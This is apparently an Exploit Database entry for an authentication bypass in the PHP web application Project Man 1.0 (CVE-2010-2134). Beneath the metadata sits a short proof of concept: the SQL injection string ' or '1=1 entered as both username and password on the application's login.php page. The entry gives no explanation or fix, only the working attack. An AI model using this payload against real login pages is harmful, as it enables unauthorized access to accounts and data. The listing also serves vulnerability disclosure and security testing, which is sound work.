Project Man 1.0 - Authentication Bypass
Author: cr4wl3r
type: webapps
platform: php
port:
date_added: 2010-02-26
date_updated:
verified: 1
codes: OSVDB-65130;CVE-2010-2134
tags:
aliases:
screenshot_url:
application_url: http://www.exploit-db.comprojectman.zip
##############################################################
##Project Man <= 1.0 (Auth Bypass) SQL Injection Vulnerability
##############################################################
Author: cr4wl3r <cr4wl3r\x40linuxmail\x2Eorg>
Download: http://sourceforge.net/projects/projectman1/files/
##############################################################
PoC:
[Project Man_path]/login.php
Username: ' or '1=1
password: ' or '1=1
##############################################################